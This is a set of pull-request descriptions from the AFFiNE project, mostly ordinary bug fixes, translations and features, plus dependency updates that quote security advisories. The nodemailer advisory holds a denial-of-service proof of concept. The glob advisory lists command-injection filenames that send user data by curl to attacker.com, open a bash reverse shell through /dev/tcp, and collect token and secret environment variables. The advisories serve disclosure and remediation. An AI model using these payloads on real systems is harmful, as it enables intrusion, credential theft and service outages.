This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) | [`7.0.9`
-> `7.0.11`](https://renovatebot.com/diffs/npm/nodemailer/7.0.9/7.0.11)
|

|

|
### GitHub Vulnerability Alerts
####
[GHSA-rcmh-qjqh-p98v](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v)
### Summary
A DoS can occur that immediately halts the system due to the use of an
unsafe function.
### Details
According to **RFC 5322**, nested group structures (a group inside
another group) are not allowed. Therefore, in
lib/addressparser/index.js, the email address parser performs flattening
when nested groups appear, since such input is likely to be abnormal.
(If the address is valid, it is added as-is.) In other words, the parser
flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be
exploited by malicious input and triggers DoS
RFC 5322 uses a colon (:) to define a group, and commas (,) are used to
separate members within a group.
At the following location in lib/addressparser/index.js:
https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90
there is code that performs this flattening. The issue occurs when the
email address parser attempts to process the following kind of malicious
address header:
```g0: g1: g2: g3: ... gN: victim@example.com;```
Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
`addressparser → _handleAddress → addressparser → ...`
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.
The problematic code section is as follows:
```js
if (isGroup) {
...
if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
parsedGroup.forEach(member => {
if (member.group) {
groupMembers = groupMembers.concat(member.group);
} else {
groupMembers.push(member);
}
});
}
}
```
`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.
### PoC
```
const nodemailer = require('nodemailer');
function buildDeepGroup(depth) {
let parts = [];
for (let i = 0; i < depth; i++) {
parts.push(`g${i}:`);
}
return parts.join(' ') + ' user@example.com;';
}
const DEPTH = 3000; // <- control depth
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);
const transporter = nodemailer.createTransport({
streamTransport: true,
buffer: true,
newline: 'unix'
});
console.log('parsing start');
transporter.sendMail(
{
from: 'test@example.com',
to: toHeader,
subject: 'test',
text: 'test'
},
(err, info) => {
if (err) {
console.error('error:', err);
} else {
console.log('finished :', info && info.envelope);
}
}
);
```
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.
### Impact
The attacker can achieve the following:
1. Force an immediate crash of any server/service that uses Nodemailer
2. Kill the backend process with a single web request
3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”
---
### Release Notes
<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>
### [`v7.0.11`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7011-2025-11-26)
[Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.10...v7.0.11)
##### Bug Fixes
- prevent stack overflow DoS in addressparser with deeply nested groups ([b61b9c0](b61b9c0cfd))
### [`v7.0.10`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#7010-2025-10-23)
[Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.9...v7.0.10)
##### Bug Fixes
- Increase data URI size limit from 100KB to 50MB and preserve content type ([28dbf3f](28dbf3fe12))
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zMi4yIiwidXBkYXRlZEluVmVyIjoiNDIuMzIuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR is related to issue
https://github.com/toeverything/AFFiNE/issues/14018
When uploading a new profile photo avatar the Pica function, which is
responsible for reducing and resizing the profile photo, may crash if
the browser's Fingerprint Protection is enabled. This is because
Fingerprint Protection prevents Pica from modifying the canvas.
This fix introduces a try-catch inside the function that calls the
reduction and resizing of the photo. Also, the Error object is no longer
passed directly to the notification service, which also caused issues
previously. Now a message will appear that tells the user that the
upload failed and to check the browser's fingerprint protection (check
photo below).
Affected files: packages/frontend/core/src/utils/reduce-image.ts
<img width="408" height="136" alt="new_error"
src="https://github.com/user-attachments/assets/d140e17c-8c13-4f4b-bdf7-7dd5ddc5c917"
/>
I'm open to any suggestions in terms of wording of the error messages.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved error handling for image compression with clearer,
user-facing messages when compression is blocked or fails.
* Ensures the original or reduced image is reliably returned as a
fallback if compression is not performed.
* Preserves file metadata (original lastModified, name, type) when
returning processed files.
<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <darksky2048@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Added a complete French translation for several user interface elements.
Updated existing translation strings to improve consistency and clarity.
Corrected inaccurate or unclear wording in the language files.
Harmonized terminology to maintain a uniform vocabulary across the
interface.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Localization**
* Corrected Spanish branding text for AFFiNE consistency.
* Expanded French locale with many new keys (AI features, calendar,
import/doc labels, shortcuts).
* Trimmed trailing spaces and fixed grammar, punctuation, diacritics
across French strings.
* Added French "Copied to clipboard" confirmation and other refined UI
labels.
<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Problem
There's a one-time content-size mismatch during surface-block resize
after a zoom change in edgeless mode, as shown in the image and video
below.
<img width="885" height="359" alt="图片"
src="https://github.com/user-attachments/assets/97a85924-1ca1-4b48-b334-6f19c7c41f49"
/>
https://github.com/user-attachments/assets/1c0e854c-b12e-4edc-9266-6358e0cf9d5a
### Reason and resolve
`Viewport` maintains a `_cachedBoundingClientRect` that stores the
synced-doc-block’s bounding box size. This cache is cleared by a
ResizeObserver on resizing.
In `EmbedSyncedDocBlockComponent`, `fitToContent()` depends on this
cache, and is triggered by another ResizeObserver registered in
`_initEdgelessFitEffect()`.
Since `_initEdgelessFitEffect()` is invoked before the `Viewport`’s
ResizeObserver is registered — dut to `_renderSyncedView()` not being
called for the first-time in `renderBlock()` — `fitToContent()` reads a
stale cached value at the beginning of the resize, resulting in the
one-time content-size mismatch.
This PR ensures that `_initEdgelessFitEffect()` is called after the
registration of the ResizeObserver in `Viewport`.
### After
https://github.com/user-attachments/assets/e95815e2-0575-4108-a366-ea5c00efe482
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved initialization sequence for embedded synced documents to
ensure proper rendering and resize handling, preventing potential issues
with stale data during component setup.
<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
**Summary:**
This PR improves the user feedback when encountering an HTTP 413
(_CONTENT_TOO_LARGE)_ error caused by a file size limit in the proxy /
ingress controller in a self-hosted environment.
**Example scenario:**
A self-hosted environment serves AFFiNE through an nginx proxy, and the
`client_max_body_size` variable in the configuration file is set to a
smaller size (e.g. 1MB) than AFFiNE's own file size limit (typically
100MB). Previously, the user would get an error saying the file is
larger than 100MB regardless of file size, as all of these cases
resulted in the same internal error. With this fix, the
_CONTENT_TOO_LARGE_ error is now handled separately and gives better
feedback to the user that the failing upload is caused by a fault in the
proxy configuration.
**Screenshot of new error message**
<img width="798" height="171" alt="1MB_now"
src="https://github.com/user-attachments/assets/07b00cd3-ce37-4049-8674-2f3dcb916ab5"
/>
**Affected files:**
1. packages/common/nbstore/src/storage/errors/over-size.ts
2. packages/common/nbstore/src/impls/cloud/blob.ts
I'm open to any suggestions in terms of the wording used in the message
to the user. The fix has been tested with an nginx proxy.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved user-facing error messages for file upload failures. When an
upload exceeds the file size limit, users now receive a clearer message
indicating that the upload was stopped by the network proxy due to the
size restriction, providing better understanding of why the upload was
rejected.
<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Problem
●In edgeless mode, the embed-edgeless-doc's content does not match the
size of its outer block when zoom ≠ 1.
●The follwing image and video show the issue at zoom = 0.5.
<img width="610" height="193" alt="图片"
src="https://github.com/user-attachments/assets/c50849c6-d55b-4175-9b70-218f69ab976a"
/>
https://github.com/user-attachments/assets/ea7e7cc4-64ae-4747-8124-16c4eea6458e
### Reason and resolve
●The issue occurs because the surface-block canvas uses the container’s
dimensions obtained from getBoundingClientRect(), which are already
affected by the CSS transform. The canvas is then transformed again
together with the container, causing the size mismatch.
●To keep all drawing operations in the surface-block’s original
coordinate space, we apply a reverse transform to the canvas.
### After
https://github.com/user-attachments/assets/6c802b81-d520-44a0-9f01-78d0d60d37b8
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Canvas rendering now properly responds to viewport zoom levels. Visual
scaling is applied dynamically to ensure canvases align correctly with
viewport scaling, providing consistent and accurate rendering during
zoomed interactions while preserving original canvas dimensions.
<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Initial bug report: Issue
https://github.com/toeverything/AFFiNE/issues/13966
Description of bug: When a database header/title is in focus and the
user presses ENTER, a new record is created and shown to the user.
Expected outcome: When the user presses enter in the header title field,
the new title should be applied and then the title field should loose
focus.
Short summary of fix: When the ENTER key is pressed within the title,
the `onPressEnterKey()` function is called. As of now, this calls the
function `this.dataViewLogic.addRow?.('start');` which creates a new
record. In this fix, this has been changed to `this.input.blur()` which
instead essentially switches focus away from the title field and does
not create a new record, as expected.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Modified Enter key behavior in the database title field. Pressing
Enter now blurs the input instead of automatically inserting a new row.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
* Added 'Brazilian Portuguese' to the list of supported translation
languages in both backend and frontend.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added Brazilian Portuguese as a supported translation language across
the app.
* Brazilian Portuguese now appears in language selection for translation
actions.
* AI translation prompts now include Brazilian Portuguese as a valid
target option.
* No other translation behaviors or controls were modified.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Bug: In Edgeless mode, pressing and dragging the middle mouse button
over any element incorrectly triggers DefaultTool in the same frame,
causing unintended selection/drag instead of panning. Dragging on empty
area works because no element intercepts left-click logic.
Reproduction:
- Open an Edgeless canvas
- Press and hold middle mouse button over a shape/text/any element and
drag
- Expected: pan the canvas
- Actual: the element gets selected or moved; no panning occurs
Root cause:
1. PanTool switched via requestAnimationFrame; the current frame’s
pointerDown/pointerMove were handled by DefaultTool first (handing
middle mouse to left-click logic).
2. Selection restore used a live reference to
`this.gfx.selection.surfaceSelections`, which could be mutated by other
selection logic during the temporary pan, leading to incorrect
restoration.
Fix:
- Switch to PanTool immediately on the same frame when middle mouse is
pressed; add a guard to avoid switching if PanTool is already active.
- Snapshot `surfaceSelections` using `slice()` before the temporary
switch; restore it on `pointerup` so external mutations won’t affect
restoration.
- Only register the temporary `pointerup` listener when actually
switching; on release, restore the previous tool (including
`frameNavigator` with `restoredAfterPan: true`) and selection.
Additionally, disable black background when exiting from frameNavigator.
Affected files:
- blocksuite/affine/gfx/pointer/src/tools/pan-tool.ts
Tests:
-
packages/frontend/core/src/blocksuite/__tests__/pan-tool-middle-mouse.spec.ts
- Verifies immediate PanTool switch, selection snapshot restoration,
frameNavigator recovery flag, and no-op when PanTool is already active.
Notes:
- Aligned with docs/contributing/tutorial.md. Local validation
performed. Thanks for reviewing!
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Prevented accidental re-activation of the middle-click pan tool.
* Preserved and restored the user's selection and previous tool options
after panning, including correct handling when returning to the frame
navigator.
* Ensured immediate tool switch to pan and reliable cleanup on
middle-button release.
* **Tests**
* Added tests covering middle-click pan behavior, restoration flows, and
no-op when pan is already active.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`11.0.2` ->
`11.1.0`](https://renovatebot.com/diffs/npm/glob/11.0.2/11.1.0) |
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
### GitHub Vulnerability Alerts
####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)
### Summary
The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.
### Details
**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:
```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```
**Technical Flow:**
1. User runs `glob -c <command> <pattern>`
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands
**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)
**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content
### PoC
**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```
**Trigger Vulnerability:**
```bash
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```
**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges
**Advanced Payload Examples:**
**Data Exfiltration:**
```bash
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```
**Reverse Shell:**
```bash
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```
**Environment Variable Harvesting:**
```bash
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```
### Impact
**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
**Real-World Attack Scenarios:**
**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering
**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services
**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems
**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform
### Affected Products
- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0
**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable
### Remediation
- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.
---
### Release Notes
<details>
<summary>isaacs/node-glob (glob)</summary>
###
[`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)
###
[`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNzMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE3My4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Style**
* Updated rendering quality for images displayed in chat content,
applying a pixelated effect to both row and column layouts.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
I'm a native Catalan and Spanish speaker.
There are lots of changes, if I notice something is off when using it,
I'll submit more patches to improve it.
One decision I'm not sure about is keeping "edgeless" as the
translation, since it's difficult to find a proper way of saying it
that's not too similar to "borderless" or "without borders" in Catalan.
I noticed Spanish has some of the strings as "Edgeless" and others "sin
bordes", so I'm guessing this is a bit subjective and in my opinion
leaving it unchanged is easier to understand than if poorly translated.
fix#13647
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
## Release Notes
* **Chores**
* Updated development tooling and build dependencies to latest stable
versions
* Increased minimum Node.js requirement to version 22
* Updated macOS deployment target to version 11.6
* Enhanced type safety and error handling in build processes
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Support importing .docx files, as mentioned in
https://github.com/toeverything/AFFiNE/issues/10154#issuecomment-2655744757
It essentially uses mammoth to convert the docx to html, and then
imports the html with the standard steps.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Import Microsoft Word (.docx) files directly via the import dialog
(creates new documents).
* .docx added as a selectable file type in the file picker and import
options.
* **Localization**
* Added localized labels and tooltips for DOCX import in English,
Simplified Chinese, and Traditional Chinese.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
https://github.com/user-attachments/assets/4ef71704-57bb-45b8-9e73-8a51c67fb158
Adds a collapsible toggle for group-by groups.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
- **New Features**
- Collapsible groups for desktop and mobile table views with persistent
per-view collapsed state and a keyboard-accessible toggle button.
- **Bug Fixes**
- Group title icons now render consistently across variants.
- **Tests**
- Added unit tests verifying collapse/expand behavior for group
components.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: 3720 <zuozijian1994@gmail.com>
Co-authored-by: L-Sun <zover.v@gmail.com>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Callout is no longer gated as an experimental option — it now
consistently appears in the editor’s slash menu and toolbar where
applicable.
* **Tests**
* End-to-end slash-menu tests updated to expect the Callout item in
search results and adjusted item ordering.
* **Chores**
* Repository ignore rules updated to exclude .kiro files.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR introduces new window behaviors, which can be enabled when the
menubar setting is active:
New Features:
- Quick open from tray icon
- Minimize to tray
- Exit to tray
- Start minimized
These changes have not yet been tested on macOS.
<img width="645" height="479" alt="image"
src="https://github.com/user-attachments/assets/7bdd13d0-5322-45a4-8e71-85c081aa0c86"
/>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Configurable menubar/tray behaviors: open on left-click, minimize to
tray, close to tray (exit to tray), and start minimized.
* **UI**
* Appearance settings add a Menubar → Window Behavior group with four
toggles; group shows only when menubar/tray is enabled (hidden on
macOS).
* **Settings**
* Tray settings persisted and exposed via the settings API with getters
and setters for each option.
* **Localization**
* Added translation keys and English strings for the new controls and
descriptions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: Peng Xiao <pengxiao@outlook.com>